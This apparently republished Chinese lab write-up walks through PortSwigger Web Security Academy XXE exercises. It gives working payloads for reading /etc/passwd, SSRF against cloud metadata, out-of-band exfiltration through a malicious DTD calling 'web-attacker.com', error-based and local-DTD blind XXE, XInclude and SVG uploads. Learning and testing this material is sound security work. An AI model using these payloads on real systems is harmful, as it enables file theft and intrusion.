BurpWeb安全學院之XXE


實驗室鏈接https://portswigger.net/web-security

XXE漏洞如何產生

一些應用程序使用XML格式在瀏覽器和服務器之間傳輸數據.而服務器端又沒有對XML數據進行很好的檢查,就可能產生XXE漏洞.

如: 某個網頁可能傳輸如下的數據

如果稍加修改:

利用XXE讀取文件

要執行從服務器的文件系統中讀取任意文件的XXE注入攻擊,需要修改兩處XML:

  • 引入(或編輯)一個DOCTYPE元素,該元素定義一個包含文件路徑的外部實體。
  • 編輯應用程序響應中返回的XML中的數據值,以使用已定義的外部實體

例如,假設購物應用程序通過向服務器提交以下XML來檢查產品的庫存:

<?xml version="1.0" encoding="UTF-8"?>
<stockCheck><productId>381</productId></stockCheck>

正常情況下會返回:

如果稍加修改:

先引入一個xxe的外部實體,再修改相應值

<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>

就可以讀取文件

利用XXE執行SSRF攻擊

除了檢索敏感數據外,XXE攻擊的另一個主要影響是,它們可用於執行服務器端請求偽造(SSRF) ,

這可能導致服務器端應用程序對服務器可以訪問的任何URL發出HTTP請求

通過查看請求相應判斷請求資源是否存在等.

操作方法也是先引入一個實體,再替換響應值:

如下:

引入實體探測內網: 探測http://169.254.169.254/時

說明我們請求的資源存在,返回了一個目錄的名稱latest

持續的請求最終可以讀取到文件

XXE盲注檢測

前面兩種都是有回顯情況下的XXE注入,但實際上XXE漏洞的許多情況都是沒有回顯的.

這意味着應用程序不會在其響應中返回任何已定義外部實體的值,因此無法直接檢索服務器端文件

但是可以通過別的方法來間接檢測

檢測方法:

  • 報錯注入
  • 與外網交互

通過Burpsuite的Collaborator可以測試XXE盲注

Burp Collaborator測試XXE盲注

具體使用可以參考 https://blog.csdn.net/fageweiketang/article/details/89073662

在BurpSuite專業版中.

開啟Collaborator Server

通過工具欄可以打開

點擊Copy to clipboard可以生成連接

類似xxx.burpcollaborator.net

當我們發現 存在疑似XXE漏洞,測試的時候只能看見"Invalid product ID"

我們修改為如下的XML

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://8luaz6s3evbr13tizib9fyhm8de32s.burpcollaborator.net"> ]>
<stockCheck>
    <productId>&xxe;</productId>
    <storeId>1</storeId>
</stockCheck>

http://8luaz6s3evbr13tizib9fyhm8de32s.burpcollaborator.net是Burp Collaborator 生成的

可以發現在Collaborator 中的回顯,就證明確實存在XXE.對方對該域名進行了HTTP請求和DNS解析

外部實體參數被過濾

在這個實驗中,引入外部實體參數,發現被檢測出來

可以用以下情況繞過

<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net"> %xxe; ]>

XXE盲注利用

可以通過請求帶參數的方式將數據帶出到外網

如以下惡意的DTD:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
  • 定義名為的XML參數實體file,其中包含/etc/passwd文件的內容。
  • 定義一個名為的XML參數實體eval,其中包含另一個名為的XML參數實體的動態聲明exfiltrate。該exfiltrate實體將通過使含有的值的HTTP請求到攻擊者的web服務器進行評價fileURL查詢字符串內的實體。
  • 使用eval實體,這將導致exfiltrate執行實體的動態聲明。
  • 使用exfiltrate實體,以便通過請求指定的URL得到文件內容。

這樣通過查看日志就可以查看到文件內容

上面的DTD必須托管在DTD平台,因為外部DTD允許我們在第二個實體中包含一個實體,但它在內部DTD中被禁止

http://web-attacker.com/malicious.dtd 的內容為

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;

payload:

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>

如 抓到以下包后

我們在 http://accd1f0c1f3e93218058065a014f00db.web-security-academy.net/test.dtd 托管如下內容

里面的鏈接為Burp Collaborator鏈接

然后修改包為:

可以在Collaborator里面看到返回的數據

x就是/etc/hostname 文件下的內容(也可能是第一行,多行情況下可以用其他協議)

XXE報錯注入

XXE盲注的另一種思路是讓XML解析器報錯

錯誤消息可能包含敏感數據

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
  • 定義名為的XML參數實體file,其中包含/etc/passwd文件的內容。
  • 定義一個名為的XML參數實體eval,其中包含另一個名為的XML參數實體的動態聲明error。該error實體將通過加載一個不存在的文件名稱中包含的價值進行評估file實體。
  • 使用eval實體,這將導致error執行實體的動態聲明。
  • 使用該error實體,以便通過嘗試加載不存在的文件來,從而產生一條錯誤消息,其中包含該不存在的文件的名稱,即文件的內容/etc/passwd

將以上內容托管到http://web-attacker.com/malicious.dtd

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>

可以現在托管平台下托管如下數據: (鏈接 https://ac7a1fe31fca4a0c80687b1101e600ac.web-security-academy.net/1.dtd )

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'file:///invalid123456aaaaa/%file;'>">
%eval;
%exfil;

將抓到的如下包

修改為:

利用本地DTD的XXE盲注

詳細原理以及利用場景: https://www.freebuf.com/articles/web/195899.html

在服務器防火牆阻止外部DTD引用,我們就無法像以上那樣進行XXE盲注.

這時候可以 在目標主機上強制執行本地dtd文件 , 並在其中重新定義一些參數實體引用

例如,假設服務器文件系統上該位置有一個DTD文件/usr/local/app/schema.dtd ,並且此DTD文件定義了一個名為custom_entity 的實體,攻擊者可以重新定義custom_entity 來進行保存的XXE注入

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

該DTD執行以下步驟:

  • 定義一個實體參數 local_dtd ,引用內部的DTD文件
  • 重新定義名為custom_entity的XML參數實體,構造基於錯誤的XXE盲注
  • 使用local_dtd

這樣就構造了基於錯誤的XXE盲注

由於此XXE攻擊涉及重新利用服務器文件系統上的現有DTD,因此關鍵的要求是找到合適的文件 .

可以用一些框架固定的dtd文件,可以通過是否保存判斷DTD文件是否存在

例如,使用GNOME桌面環境的Linux系統通常在DTD文件/usr/share/yelp/dtd/docbookx.dtd

用以下payload能判斷該文件是否存在

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>

固定的DTD位置:

  • linux
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa 'Your DTD code'>
%local_dtd;
  • Windows
<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
<!ENTITY % SuperClass '>Your DTD code<!ENTITY test "test"'>
%local_dtd;

https://www.freebuf.com/articles/web/195899.html 最后有很多這樣的例子

下面是利用 GNOME桌面環境 下的 /usr/share/yelp/dtd/docbookx.dtd進行XXE盲注

docbookx.dtd中有預定義的實體參數ISOamso,重新定義ISOamso即可

<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

抓到如下包

可以修改為:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>
">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
<stockCheck>
  <productId>1</productId>
  <storeId>1</storeId>
</stockCheck>

XXE的隱藏攻擊面

在許多情況下,XXE注入漏洞的攻擊面很明顯,因為應用程序的常規HTTP流量包括包含XML格式數據的請求 , 在其他情況下,攻擊面不太明顯 .可能在不存在XML格式數據的地方出現XXE

XInclude攻擊

  • Xinclude : 導入外部xml文檔,類似於php的include,將外部定義的dtd引入當前文件,因為引入外部實體具有局限性,所以使用xinclude來引入

  • 語法:

 <xi:include href="templates/footer.xml" xmlns:xi="http://www.w3.org/2003/XInclude"/>

差錯處理:xi:fallback(當發生連接問題、安全限制、資源不存在、URI 架構未知或者像 mailto: 一樣不可獲取,等等)

<xi:include href="http://msdn.microsoft.com/rss.xml">
      <xi:fallback>Sorry, MSDN news are unavailable.<xi:fallback>
   </xi:include>

屬性:

  • href — 對要包括的文檔的 URI 引用。
  • parse — 它的值可以是“xml”或“text”,用於定義如何包括指定的文檔(是作為 XML 還是作為純文本)。默認值是“xml”。
  • xpointer — 這是一個 XPointer,用於標識要包括的 XML 文檔部分。如果作為文本包括 (parse="text"),將忽略該屬性。
  • encoding — 作為文本包括時,該屬性提供所包括文檔的編碼提示信息。

要進行XInclude攻擊,您需要引用XInclude名稱空間並提供要包含的文件的路徑

如:

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>

在以下場景:

抓到一個產品的包

抓包修改產品id

id值傳入后端然后嵌入到服務端的XML文檔中,由於我們無法控制整個XML文檔,因此無法定義DTD發起攻擊,但可以通過Xinclude

文件上傳的XXE

一個應用程序可能允許用戶上傳圖像,並在上傳后在服務器上處理或驗證這些圖像

應用程序可能希望接收PNG或JPEG之類的格式 ,但服務端所使用的圖像處理庫也可能支持SVG圖像.

像SVG和DOCX文件都基於XML格式,所以可以構造惡意的SVG來進行攻擊

制作包含以下內容的SVG圖片

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
	<text font-size="16" x="0" y="16">&xxe;</text>
</svg>

然后上傳

會發現頭像被處理了,顯示的正是hostname名稱.

通過修改的內容類型進行XXE攻擊

大多數POST請求都使用HTML表單生成的默認內容類型,例如application/x-www-form-urlencoded

有的網站可能沒有對此做限制,

例如,如果正常請求包含以下內容:

POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar

然后,您可以提交以下請求,結果相同:

POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

就可以嘗試XXE攻擊.

XXE防御

禁用外部實體的解析並禁用對XInclude 的支持.


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM